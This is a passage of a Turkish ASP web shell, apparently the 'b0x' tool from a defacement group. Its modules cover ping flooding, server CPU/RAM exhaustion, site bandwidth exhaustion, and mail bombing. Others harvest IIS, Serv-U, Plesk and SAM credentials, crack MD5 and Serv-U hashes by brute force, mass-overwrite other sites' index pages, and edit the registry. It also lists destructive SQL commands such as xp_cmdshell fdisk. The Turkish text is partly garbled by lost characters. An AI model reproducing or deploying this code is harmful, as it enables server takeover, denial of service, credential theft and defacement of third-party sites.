" yazsoll(" Not: Bunu kullan?rken girece?iniz Paket boyutu ?nemlidir. Mümkünce a??r? büyük paket girmeyin, çünkü server yada site nereye sald?rr?yorsan?z, büyük paketleri filtreler ve cevap vermezler. O yüzden sürekli T?meOUT yazar. o yüzden yaa Bo? b?rak?n yada 500 gibi normal bir seviye seçin. N ") yazsoll(" Not: P?NG say?s?n? 98 dediniz mesela, Sistem bunu 10 hamlede yapacakt?r. 10 arl? g?nderektir. vede süreklisayfa kendini yenileyip, 98 olana kadar 10 ar 10 ar ping ee dewam edecektir. Burda T?MEout OLMA gibi sorunumuz yok. 100000 deseniz bile, o bitne kadar gece gündüze ping çekebilien sistem geli?tirdim. Korkmadan, vede gece aç?k b?rakarak s?n?rs?z pingler çekebilirisniz. N ") yazsoll(" Not: b0x, com.tr, gov.tr uzant?l? sitelere kar?? koruma ald?m. Ping Attaker bu sitelere kar?? Cal??t?t?lamaz, ve çal???t?rlsa bile Ping atmaz, size Uyar? verir. TUrk Siteleri Koruma ilk hedefimizdir. TUrk TUrk ü Vurmaz. by b0x N ") yazsoll(" Ping Attack b0x taraf?ndan yaz?lm?? olup, biraz hayal gücü, biraz çaba azimle, ?u an kulan?d??n?z b0x yuda yazan olarak, bundaki amac?m Server ?n ,sitenin kaynaklar?n? s?mürmek vede onun üzerinden onun kaynaklar?n? kullanrak ba?ka yerlerede zarar , sald?r? yapam güdenmi?tir. BUndada BUnlaa ba?lad?m. TUM haklar? b0x e aittir. N ") else if inject1 = "" then inject1 = 0 if count = "" then count = 0 if CInt(inject1) > CInt(count) + 10 then Call Ping_Bomb_b0x(url,10,islem,size) count = count + 10 inject2 = ""&FilePath&"?file=1&mode=30&url="&url&"&size="&size&"&count="&count&"&inject1="&inject1&"&islem="&islem&"" response.write "" response.write "
"&count&"/"&inject1&" tane Ping Cekildi.
" else if CInt(inject1) > CInt(count) then Call Ping_Bomb_b0x(url,CInt(inject1) mod 11,islem,size) count = count + (CInt(inject1) mod 11) yazortaa(" "&count&"/"&inject1&" tane Ping Cekildi... ") yazortaa(" Pinger Attack by b0x 1.0 i?lemini tamamlad?... ") else yazortaa(" "&count&"/"&inject1&" tane Ping Cekildi... ") yazortaa(" Pinger Attack by b0x 1.0 i?lemini tamamlad?... ") end if end if end if CASE 31 ' Server RAM & CPU Sald?r?s? cmdd = array("C:\WINDOWS\System32\mspaint.exe","C:\Program Files\Internet Explorer\iexplore.exe","C:\WINDOWS\system32\notepad.exe") if islem = "1" then on error resume next response.write server.createobject("wscript.shell").exec("cmd.exe /c"&cmdd(0)) else if islem = "2" then on error resume next response.write server.createobject("wscript.shell").exec("cmd.exe /c"&cmdd(1)) else if islem = "3" then on error resume next response.write server.createobject("wscript.shell").exec("cmd.exe /c"&cmdd(2)) else if not file = "1" then response.write "
" yazorta(" RAM & CPU Sald?r?s? for SERVER by b0x =) 1.0 ") response.write "
Server ?n CPu ve RAm kaynaklar?n? 1 dk içinde tüketebilen bir b0x eseridir. Bununla sadece, 3 tür program sürekli aç?l?r ve kapat?lmaz(Paint, Notepad, Explorer) Server en fazla 1 dk içinde Ram&Cpu sorunu ve kitlenmeler, cevap vermemeler, Status t resetlenme ilede sonuçlanabilir.
" yazorta(" ..:: RAM & CPU Attacker ? CALI?TIR .. by b0x ::.. ") response.write "
" else Call Ram_Cpu end if end if end if end if CASE 32 ' S?te kaynak S?mürücü by b0x =) if not islem = "1" then response.write "
" yazorta(" S?te Kaynak S?mücü 1.0 by b0x ") response.write "
Site Adresi :
Robot Say?s? :
" yazsol("Belirtti?iz kadar Robot kadar ba?lan?r ve siteyi s?mürür. Ayr?ca Sald?r? sürekli kendini güceller, yeniler. Sonsuzdur. =) Robot u Ba?lant?n?za g?re ayarlay?n. Mesela; Robot u 50 yaparsan?z.O sayfa içinde 50 tane ayn? anda aç?lacak site ve indirecektir siteleri. ve o s?rada sürekli siz, dosya indiroyr geçiçi olarak. VE bu olay her 30 snde güncelleniyor Otomatik. Birkez çal???tr ?mür boyu kapatmazsan penceryi çal???r bir MAkina.") yazsol("Site kodlar?n?, BAndwith ini ve ASP kitlenmesi yada SQL s?mürmede, ressim, text s?mürmede UStüne yoktur..") yazorta("TUm haklar? Sakl?d?r by b0x =)") response.write "
" else on error resume next yazorta(" S?te Kaynak S?mücü 1.0 by b0x =) 1.0 ") yazorta("S?mürme MEkanizmas? Devrede...") yazsol("Durdurmak için Pencereyi kapat. "&file&" Kadar ba?lan?p 30 sn da günceliyor sald?r?y?...") yazorta("by b0x") Call Somurgen(file,url) yazorta(" 20 SN sonra yenileniyor... by b0x =) ") response.write "" end if CASE 33 ' Mail BOMber by b0x :) TUm Kodlar?n b0x nun HAklar? b0x ya aittir. S?n?rs?z Mail atma imkan? sunuyorum size. K?ya??m? unutmay?n... if not islem = "1" then response.write "
" yazorta(" Mail Bomber 1.1 by b0x ") response.write "
Mail Adresi :
Bomb Say?s? :
" yazsol("S?n?rs?z Mail Bomb. Cdonts & Cydos Destekler. %100 inbox. Cyberwarrior.com , org, net ,maillerine Bomb yapamazs?n?z.") yazorta("TUm haklar? Sakl?d?r by b0x =)") response.write "
" else if request.cookies("bilesen") = "0" then if MailKorumasi(file) = 0 then if inject1 = "" then inject1 = 0 if CInt(inject1) + 9 < CInt(count) then for j=0 to 10 Call MailBomber_by_b0x(file) next inject1 = inject1 + 10 response.write "" response.write "
"&inject1&"/"&count&" tane Mail G?nderildi...
" else if CInt(inject1) < CInt(count) then for j=0 to (count mod 10) Call MailBomber_by_b0x(file) next inject1 = inject1 + (count mod 10) yazortaa(" "&inject1&"/"&count&" tane Mail G?nderildi... ") yazortaa(" Mail Bomber by b0x 1.0 i?lemini tamamlad?... ") else yazortaa(" "&inject1&"/"&count&" tane Mail G?nderildi... ") yazortaa(" Mail Bomber by b0x 1.0 i?lemini tamamlad?... ") end if end if else response.write "

N BOMB yap?lamad?. Tasvip etmedi?imiz Bir mail e Sald?rd???n?z için. by b0x !!!! N
" end if else response.write "

N Server Gerekli Olan Cdonts yada Cydos Bilesenlerini desteklemiyor. N
" end if end if CASE 34 ' MSSQL - MYSQL Ba?lant? Formu Developed By TurkisH-RuleZ if not islem = "1" then Call MSSQL_Form yazortaa(" E?erki, Sitelerin MSSQL bilgilerini biliyorsan?z, bununla çok kolay ba?lanabilir.. ") yazortaa(" Tablolar? g?rebilir, üzerinde SQL komut çal??t?rabilir, verileri okuyaiblirisniz ") yazortaa(" Cok sa?lam ve güçlü bir MSSQL Manager hizmeti Sa?lar size...") yazortaa(" by b0x :)") else Call SQL_menu_by_b0x Call Tablolama end if nolist = True CASE 35 ' MSSQL - MYSQL Conneciton için Developed By TurkisH-RuleZ Call SQL_menu_by_b0x Call MSSQL_by_b0x(b0xsql,table) nolist = True CASE 99 ' b0x WAS HERE - FEEL THE POWER OF TURKS 'Türk Bayra?? Ascii Karakterlerle - Created By b0x :) Response.Write "
 Z

" yazorta("Biz Ne yapt?k / What We Do?") yazsol("Biz bir b0x & MSWCTools & XMLHTTP Compenent lerini kullanarak Server a site üzerinden HTTP protocolunden eri?im sa?land???nda, Size Server ?n tüm imkanlar?ndan yararlanman?z için, Permission, ?ifre, gizli tüm içeriklere direk ula?ma, yada a?ma gibi ?zelikleri olan. Server ? ç?kertmeye , hatta kaynaklar?n? son damlas?na kullanabilen Cyber-Warrior.CoM ad?na hizmet veren Bir Canavar yaratt?k.") yazorta("Ad? ? Name ?") yazsol("Bu yaz?l?m b0x yaz?l?m?d?r. Bunun ad? ab0x FSO dur. oda k?saca -> b0x'dur") yazorta("Biz Kimiz / Who We Are?") yazsol("b0x : Sitemiz http://cyber-warrior.com") olmadi("..:: TAKL?TLER?NDEN SAKININ !!! ::..") CASE 36 ' SQL komut YArd?m k?lavuzu by b0x yazorta("SQL Komut Yard?m Merkezi by b0x :) ") yazsoll("SELECT - Seçme&listeleme") yazsol("Select * from TABLEADI
Select * from TABLEADI where SUTUNADI = DE?ER
Select * from tblAdmin where ID = 1") yazsoll("INSERT - ekleme") yazsol("Insert into TABLOADI (stunisimleri) values (de?eleri)
Insert into tblAdmin (Name,Pwd,Gruop) values ('b0x','123456',1)") yazsoll("UPDATE - editleme") yazsol("Update TABLOADI set stunad? = 'de?eri' where Stunad? = de?eri
Update tblAdmin set Name = 'b0x' where ID = 1") yazsoll("DELETE - Deleting ") yazsol("Delete TABLOADI where Stunad? = de?eri
Delete tblAdmin where ID = 1") yazsoll("DROP - tabloyu komple Deleting ") yazsol("Drop table TABLOADI
Drop Table tblAdmin") yazsoll("Exes - Fdisk çektirmek için") yazsol("exec xp_cmdshell(‘fdisk.exe’)") yazsoll("ShutDown - SQL server kapan?r.") yazsol("shutdown with nowait") CASE 37 ' Sistem Analizer Developed By TurkisH-RuleZ on error resume next Set b0xNet = Server.CreateObject("WSCRIPT.NETWORK") response.write "
" yazorta("Server ?n Bilgileri") yazsol("OS : "& OS() &"") yazsol("PC & Oturum Ad? : \\"& b0xNet.ComputerName &"\"&b0xNet.UserName&"") struser = b0xNet.UserName yazsol("Server : "&request.servervariables("SERVER_NAME")&"") yazsol("IP : "&request.servervariables("LOCAL_ADDR")&"") yazsol("HTTPD : "&request.servervariables("SERVER_SOFTWARE")&"") yazsol("WebRoot : "&request.servervariables("APPL_PHYSICAL_PATH")&"") yazsol("LogRoot : "&request.servervariables("APPL_MD_PATH")&"") yazsol("Zaman : "&date()&" - "&time()&"") yazsol("HTTPs : "&request.servervariables("HTTPS")&"") response.write "" yazorta("Server?n Senden Alg?lad?klar?") yazsol("IP : "&request.servervariables("REMOTE_ADDR")&"") yazsol("Proxy IP : "&request.servervariables("HTTP_X_FORWARDED_FOR")&"") yazsol("User Agent : "&request.servervariables("HTTP_USER_AGENT")&"") yazsol("Interface : "&request.servervariables("GATEWAY_INTERFACE")&"") yazsol("Protocol : "&request.servervariables("SERVER_PROTOCOL")&"") yazsol("Method : "&request.servervariables("REQUEST_METHOD")&"") yazsol("Via : "&request.servervariables("HTTP_VIA")&"") yazsol("Cache Control : "&request.servervariables("HTTP_CACHE_CONTROL")&"") response.write "
" on error resume next Set IIsObject = GetObject ("IIS://localhost/w3svc") response.write "
" yazorta("IIS Bilgileri") response.write "
" yazsol("AnonymousUserName : "&IIsObject.Get("AnonymousUserName")&"") yazsol("AnonymousUserPass : "&IIsObject.Get("AnonymousUserPass")&"") response.write "" yazsol("WAMUserName : "&IIsObject.Get("WAMUserName")&"") yazsol("WAMUserPass : "&IIsObject.Get("WAMUserPass")&"") Set IIsObject = Nothing response.write "
" yazorta("..:: Aç?klama ?çin T?klay?n?z.. by b0x ::..") response.write "
" strServer = b0xNet.ComputerName set objFs = GetObject("WinNT://" _ & strServer & "/LanmanServer,FileService") response.write "
" yazorta(" Server' in Payla??ma Aç?k Klas?rleri by b0x ") yazsol("\\"&strServer&"\C$") yazsol("\\"&strServer&"\Admin$") For Each objShare In objFs yazsol("\\"&strServer&"\"&objShare.name&"") Next response.write "
" response.write "
" yazorta(" Uzakdan Serv-U & GeneFtp & UsersTxT Eri?imi SOnucu by b0x ") b0xServuRemote() yazorta("Geli?mi? Arama için") yazorta("Serv_U - Daemon - Ws_Ftp - Base.ini - Remote.ini") response.write "
" response.write "
" yazorta(" Uzakdan PLESK Eri?imi SOnucu by b0x ") b0xPleskRemote() response.write "
" On error resume next response.write "
" yazorta(" Vti_Pvt/Access.Cnf & Postinfo & ServicePwd Sonucu by b0x") b0xVti_Pvt() yazorta("Geli?mi? Arama için") local = request.servervariables("APPL_PHYSICAL_PATH") yazorta("access.cnf - postinfo - service") response.write "
" On error resume next response.write "
" yazorta(" NTUser.Dat - Log - ?ni Eri?im Sonucu by b0x ") b0xaNTUser(struser) response.write "
" On error resume next response.write "
" yazorta(" Config Klas?r Eri?im Sonucu by b0x") b0xsam() response.write "
" Call Status On error resume next response.write "
" yazorta(" Repair Klas?r Eri?im Sonucu by b0x") b0xRepair() response.write "
" Call Status nolist = True CASE 38 ' IIS bilgi Alan? by b0x yazsol("W?ndows Server lardaki, himeti sunan, IIS servisi, sizi AnonymousUserName ve o ?ifre ile tan?r. Sizin yetkiniz o kullan?c?dad?r. ") yazsoll("IIS içinde ise, o siteninde BEllekdeki Oturum ad?da -> WAMUserName ad?nda ve ?ifresine sahiptir.") yazsoll("Bu Sistem Geli?tirilmeye Devam ediyor? ") CASE 39 ' Seçmece bunlar MD5- servu =) by b0x response.write "




" yazorta(" K?rmak ?stedi?in Türü Seç") yazorta(" ") response.write "
" yazsol("MD5 : Bildi?iniz üzere, bir çok sistemin kulland??? bir ?ifreleme olay?d?r. 128 bittir.") yazsol("Serv-U : Server larda Host lar?n kulland??? bir programd?r. Kolay vede kullan??l? oldu?u için Hostlar taraf?ndna tercih edilir. içinde Ftp ?ifreleri bar?nd?rmakdad?r. burdada o ?ifreleri k?rmaktad?r.") yazsoll("Bizde burda ASP tabanl? vede b0x içine injecte edip Sizlere Server ?n CPU ve RAM ini kullanarak , Daha h?zl? ve zahmetsiz, T?meOUT suz bir ?ekilde ?ifreleirni k?rman?z? sa?layaca??z. Bu K?rma i?lemi BRUTE attackl modelidir. K?sacas? K?rma olas??? e?er ki sabreder ve ?ans?n?z varsa çok k?sa sürede k?rars?n?z. Ama aksi halde 1 gün geçsede =) yinede %100 k?rm?a garantisi vard?r. E?er derleri do?ru girerseniz.") yazortaa("Md5 & Serv-U KOd Converted by Fastboy") Yazorta("Brute And HJACk Algorithms Written by b0x") CASE 40 ' Md5 & Serv-U Algortitmas? Ba?l?yor S?k? tutnun =) sak?n duda??n?z uçuklama?sn haa =) by b0x euheuh çok yordu be kafam? bu olay .. neyse ç?zdük yine =) eeheuh by b0x response.write "
" if islem = " ..:: MD5 ::.. " then yazorta(" __== MD5 Cracker by b0x ==__ ") else yazorta(" __== Serv-U Cracker by b0x ==__ ") end if if islem = " ..:: MD5 ::.. " then yazsol("MD5 Kodu Girin 1 : ") else yazsol("Serv-u Ham Kodu Girin 1 : ") yazsol("Salt Kodu : ") end if response.cookies("mdd") = "" response.cookies("hash1") = "" response.cookies("hash2") = "" response.cookies("hash3") = "" response.cookies("hash4") = "" response.cookies("hash5") = "" response.cookies("hash6") = "" response.cookies("hash7") = "" response.cookies("hash8") = "" response.cookies("hash9") = "" response.cookies("hash10") = "" yazsol("Hash 2 : ") yazsol("Hash 3 : ") yazsol("Hash 4 : ") yazsol("Hash 5 : ") yazsol("Hash 6 : ") yazsol("Hash 7 : ") yazsol("Hash 8 : ") yazsol("Hash 9 : ") yazsol("Hash 10 : ") yazsol("?ifre Aral??? : ile aras?nda...") yazsol("Deneme Say?s? : (1 keredeki deneme say?s?)") yazsoll("CharSet i seçiniz;") yazsol(" ABCDEFGHIJKLMNOPQRSTUVWXYZ") yazsol(" abcdefghijklmnopqrstuvwxyz") yazsol(" 0123456789") yazsol(" !@#$%^&*()-_+=~`[]{}|\:;<>,.?/") yazsol("Bekleme Süresi : saniye") yazorta("") response.write "
" if islem = " ..:: MD5 ::.. " then yazsol("MD5 Kodu Girin : MD5 HASh ?ifrenizi giriniz oraya.. maksimum 10 Hash girebilirsiniz.") else yazsol("Serv-u Ham Kodu Girin : Serv-u Kodunun ilk 2 karakteri SALT dur. egri kalan? ise MD5 halidir. Oraya ilk 2 karakteri ç?kar?n ve geri kalan? yaz?n. altasa da SALT k?sm?nada, ilk 2 karakteri yaz?n. Max 10 Hash girebilirsiniz.") end if yazsol("?ifre Aral??? : Burda belirtilen aral?klar aras?nda ?ifre üretip, denemeye ba?l?cakt?r. ?nce küçükden ba?lay?p, tüm charset denemsini yapt?kdan sonra, aral?k bir artacakt?r, taaki sizin üst s?n?ra kadar girdi?iniz.") yazsol("CharSet i seçiniz; ?ifre denerkenki, ?ifre karakterleridir. Büyük küçük harf ?nemlidir. Birden FAzla da seçebilriisniz. Ama unutmay?nki, Deneme say?s? büyüdükçe, Zamanda ARTACAKTIR. ") yazsol("Bekleme Süresi : Sürekli md5 deneme yaparsa sistem, büyük bir oranda Cpu kullan?r. Cpu kullan?m? rahatlatmak için vede timeout u ?nlemek için , her bir Charset uzunlu?u kadar deneyip, sonra yenileme yap?yor. o s?radaki bekleme süresidir bu.") yazsol("NOT : Toplu Md5&ServU k?rmak mümkün. Hepsini birden kulland???n?zda verim artacakt?r. HIZ da dü?ü? olmaz. Ama sizin Daha kolay k?rman?z? sa?lar, Coklu k?rma.") CASE 41 ' MD5 deneniyorrrrrr by b0x ' yerel de?i?kenelrim on error resume next if request.cookies("mdd") = "0" or request.cookies("mdd") = "" then session("say") = 1 Call Cookyaz("hash1","has1",Usersmd5) Call Cookyaz("hash2","has2",hash2) Call Cookyaz("hash3","has3",hash3) Call Cookyaz("hash4","has4",hash4) Call Cookyaz("hash5","has5",hash5) Call Cookyaz("hash6","has6",hash6) Call Cookyaz("hash7","has7",hash7) Call Cookyaz("hash8","has8",hash8) Call Cookyaz("hash9","has9",hash9) Call Cookyaz("hash10","has10",hash10) inject4 = CInt(session("say")) inject3 = 0 end if increment = 0 sifre = "" hashing = "" goup=0 getend=0 if inject4 = inject3 then response.write ("") response.end() end if if coding ="" then ' kod olu?tur coding = kodolustur(ara1) end if coding = replace(coding,"x","#") if dizi = "" then ' Charset i olu?uturuyorum.. dizi = diziolustur() end if Call HashFounded("hash1","has1") Call HashFounded("hash2","has2") Call HashFounded("hash3","has3") Call HashFounded("hash4","has4") Call HashFounded("hash5","has5") Call HashFounded("hash6","has6") Call HashFounded("hash7","has7") Call HashFounded("hash8","has8") Call HashFounded("hash9","has9") Call HashFounded("hash10","has10") for t=1 to inject1 sifre = Sifreyarat(coding,ara1,dizi) if salt = "" then md5li=UCASE(md5(sifre)) response.write sifre &" - "& md5li & "
" else md5li=UCASE(md5(salt+sifre)) response.write salt+sifre &" - "& md5li & "
" end if Call hashyes("hash1","has1",md5li,sifre) Call hashyes("hash2","has2",md5li,sifre) Call hashyes("hash3","has3",md5li,sifre) Call hashyes("hash4","has4",md5li,sifre) Call hashyes("hash5","has5",md5li,sifre) Call hashyes("hash6","has6",md5li,sifre) Call hashyes("hash7","has7",md5li,sifre) Call hashyes("hash8","has8",md5li,sifre) Call hashyes("hash9","has9",md5li,sifre) Call hashyes("hash10","has10",md5li,sifre) coding = SonrakiAdim(coding,ara1,dizi) 'response.flush next coding = replace(coding,"#","x") if CInt(ara1) <> CInt(ara2)+1 then response.write "" end if response.flush CASE 42 'MSWC nesnesi kullan?m?. Permision geçme ad?na att???m bir adamd?r. bu nesnenin oldu?unu "Scorlex" den edindim. Ara?t?rd?m neler yapar?m diye =) i?te g?rün neler yap?labiliyormu?uz ;) bununla. uehueh by b0x response.write "
" tablo30("Hacking with Using MSWCTools 1.0 Developed By TurkisH-RuleZ") yazsol("
?ndex Yeri : (?ndexin Serverdaki virtual yeri)") yazsol(" At?lacak Yer: (Tek bir yere Yaz.)") yazsol(" MASS Path: (Mass yap?lacak dizin)") yazsol("Eklencek Klas?r: (Ek Klas?r girdisi - BO? b?rak?n , bilmiyorsan?z)") yazorta("
" yazorta("Kullan?m? by b0x") yazsol("?necelikle, b0x nesnesi kullanmadan bir dosyay? , istenilen yere MSWC nesnesi ile yazd?r?lanabiliniyor. b0x deste?i olmayan bir server da bile, rahatça bu nesne yard?m? ile index atabilirsiniz. Kimi serverlarda, permison engeline tak?l?r?z yada kls?rü içine giremeyiz, yada b0x kullan?m? k?s?tl?d?r. bunlar? A?MAK için bu nesneyi kulland?m. Bu nesne ?u an localhost ve 1-2 yerde çal??t? sa?l?kl? ?ekilde. ?u an TEst sürümünde diyebilirim. Umar?m bu bizim permison =) geçme yollumuzu ayd?nlat?r ne dersiniz :)) uehueh") yazsol("index yeri ->Buray? fiziksel yeri Writing YIN SAKIN. oraya indexinizin virtual yerini yani. Kulland???n?z b0x dizinine olan PathUNU yaz?n indexin yani. Bu b0x ile ayn? yerde ise, 'hacked.html' e?er alt klas?rde ise -> '..\hacking.html', '..\..\..\b0x\www\hacking.html',yada \news\hacking.html gibi belirtmeniz gerek.Pathunu b?yle belirlemeniz gerekiyor. 'C:\ss\ss\hacking.html' yapt???n?zda i?lem gerçekle?mezz.. YADA size ?NER?m -> kulland???n?z b0x yu istedi?inzi yere server daki bir ba?kas siteye copyalat?rr?san?z , , bu sefer b0x yu o site üzeridnen çal??t?rr?rsan?z PErmsion ? a?m?? olursunuz o site için.") yazsol("At?lacak yer ->> TEK bir hedef için. Buray?da ..\..\ ?eklinde inerek belirtmeniz gerekiyor.mesela '..\..\..\index.asp' 3 dizin a?a??ya iner ve index i atar yada '..\..\..\www\index.asp' 3 dizin iner ww dizine girer , index i atar. =) b?yle OLAMAK zorunda . ") yazsol("MASS Path ->> BUrda çoklu alt klas?rlerede index atmak için geli?tirdim. '..\..\..\' ?eklinde a?a??lara inin ve TUM sietelerin L?Stelendi?i klas?r ee kadar olan '..\' i?aretini ayarlay?n. mesela 3 dizin a?a??da ise b0x olan uzakl???, '..\..\..\' yaz?n yeterdir =) . Eklenecek klas?r-> burda da, TUm sietlere giri? yap?ld?kdan sonraki Klas?r ad? , mesela 'www' yada 'http' yada 'wwwroot' gibi.") yazsol("Neden b?yle derseniz, MSWC nin kullan?m?, destekleid?i ?ekil b?yledir. Biraz kafa kar??t?r?c?. Ama ben denedim g?rdüm =) memnun kald?m. O yüzden bu b0x da yerini ald?. ?undan eminimki kullan?m?n? deneyerek ??rendi?inizde, sizinde PErmsion geçmede vazgeçilmeziniz olacakd?r =) euheuh") yazorta("Biraz zor oldu be b0x for giving idea about MSWC Component") yazorta("Coding & Development & Algorithms Made by b0x") CASE 43 'MSWC i?leniyor =) on error resume next Set utils = Server.CreateObject("MSWC.Tools") if err <> 0 then olmadi("MSWC.tools deste?i yoktur bu server?n.") end if if hash4 = "tek" then on error resume next utils.ProcessForm hash3, hash2 if err <>0 then olmadi("Ba?ar?s?z. Belirti?iniz virtual path lar do?rumu emin olun. MSWC deste?i var çünkü server ?n.") else oldu("Ba?ard?n?z ;) i?lem gerçekle?tii.") end if else on error resume next Set f = b0x.GetFolder(FolderPath) Set fc = f.SubFolders if err<>0 then olmadi("bu klas?r e b0x nesnesi ile tarama yap?lam?yor. ?nce okunmal?, sonra MSWC devreye girer.") end if For Each f1 In fc on error resume next mevki = hash6+f1.name+"\"+hash5+"default.asp" utils.ProcessForm mevki, hash2 mevki = hash6+f1.name+"\"+hash5+"index.asp" utils.ProcessForm mevki, hash2 mevki = hash6+f1.name+"\"+hash5+"default.htm" utils.ProcessForm mevki, hash2 mevki = hash6+f1.name+"\"+hash5+"index.html" utils.ProcessForm mevki, hash2 mevki = hash6+f1.name+"\"+hash5+"b0x.html" utils.ProcessForm mevki, hash2 mevki = hash6+f1.name+"\"+hash5+"index.htm" utils.ProcessForm mevki, hash2 if err<>0 then response.write "
"& hash6+f1.name+"\"+hash5&" Noo :( !! û
" else response.write "
"& hash6+f1.name+"\"+hash5&" OK !! ü
" end if response.flush Next yazorta("??lem Tamamland?. Developed By TurkisH-RuleZ") end if CASE 44 'XMLHTTP l? dosya Reading . if inject2 = "ok" then mevki = hash2 else mevki = Fullpath end if response.write "
" tablo30("Reading Files by using XMLHTTP 1.0 Developed By TurkisH-RuleZ") yazsol("
File Path : ") response.write "
" if not inject2 = "ok" then yazsol("Hint : This is Private a Private Tool For Reading Files On Windows IIS Server ... :) ") yazsol("wWw.Sec-b0x.CoM") else response.write "" end if yazorta("Developed By TurkisH-RuleZ") CASE 45 'Registiry Edit?r =) by A L F O N S O F E E L T H E P O W E R O F T U R K S response.write "
" tablo30("REGISTRY EDITOR 2.0 Developed By TurkisH-RuleZ") tablo30("
REGister lara Writing & Ekleme") yazsol("
Mevki/Key : ") yazsol("TUr/Type:      ") response.write "
" yazsol("
Root Key NameKar??l???
HKEY_CURRENT_USERHKCU
HKEY_LOCAL_MACHINE HKLM
HKEY_CLASSES_ROOTHKCR
HKEY_USERSHKEY_USERS
HKEY_CURRENT_CONFIGHKEY_CURRENT_CONFIG
") yazsol("REG_SZ -> String(kelime) / REG_DWORD -> ?nteger(Say?) / REG_BINARY -> Binary / REG_EXPAND_SZ -> Multi String / REG_MULTI_SZ -> Aeeay String") response.write "
" tablo30("
Register lardan Reading & S?L Coded Developed By TurkisH-RuleZ") yazsol("
Mevki/Key : OKU - S?L      ") response.write "
" on error resume next Set SaVSaK = Server.CreateObject("WScript.Shell") if err <> 0 then olmadi("Server da WScript.SHell kullan?m?na ?zin vermemektedir. ??lem ba?ar?s?z.") response.end() end if if inject2 = "yaz" then on error resume next Select Case CInt(hash4) Case 1 hash9 = SaVSaK.RegWrite (Trim(hash2), Trim(hash3), "REG_SZ") Case 2 hash9 = SaVSaK.RegWrite (Trim(hash2), CInt(Trim(hash3)), "REG_DWORD") Case 3 hash9 = SaVSaK.RegWrite (Trim(hash2), CInt(Trim(hash3)), "REG_BINARY") Case 4 hash9 = SaVSaK.RegWrite (Trim(hash2), Trim(hash3), "REG_EXPAND_SZ") Case 5 hash9 = SaVSaK.RegWrite (Trim(hash2), Trim(hash3), "REG_MULTI_SZ") End Select if err <> 0 then olmadi("??lem gerçekle?tirilemedi. VALUE de?erinin do?ru ve uygun Value girid?inziden emin ol.") else oldu(" "+hash2+"
adresine register yaz?ld?. ") end if else if inject2 = "oku" then if hash6 = "oku" then yazorta("Mevki/Key: "&Trim(hash5)&"") on error resume next response.write "
De?er/Value: " response.write SaVSaK.RegRead (Trim(hash5)) response.write "
" if err<>0 then olmadi("Kay?t Register larda bulunamad?...") end if else if hash6 = "sil" then yazorta("Mevki/Key: "&Trim(hash5)&"") on error resume next hash9 = SaVSaK.RegDelete (Trim(hash5)) if err<>0 then olmadi("Registerlardan Silinemedi. KEy yanl?? olabilir. yada kay?t bulanamad?.") else oldu("Ba?ar?yla Silindi. ") end if end if end if end if end if yazortaa("Coded by b0x - Cyber-Warrior") END SELECT if popup = False AND nolist = False then response.write "

" response.write "
" Call KlasorOku() response.write "
" Call DosyaOku() response.write "
" end if if popup = False then response.write "

" response.write "" Call Suruculer response.write "
b0x Disk'z


" Call SurucuInfo yazortaa("Coded by Alfso ... Developed By TurkisH-RuleZ") yazorta("
wWw.Sec-b0x.coM") end if %>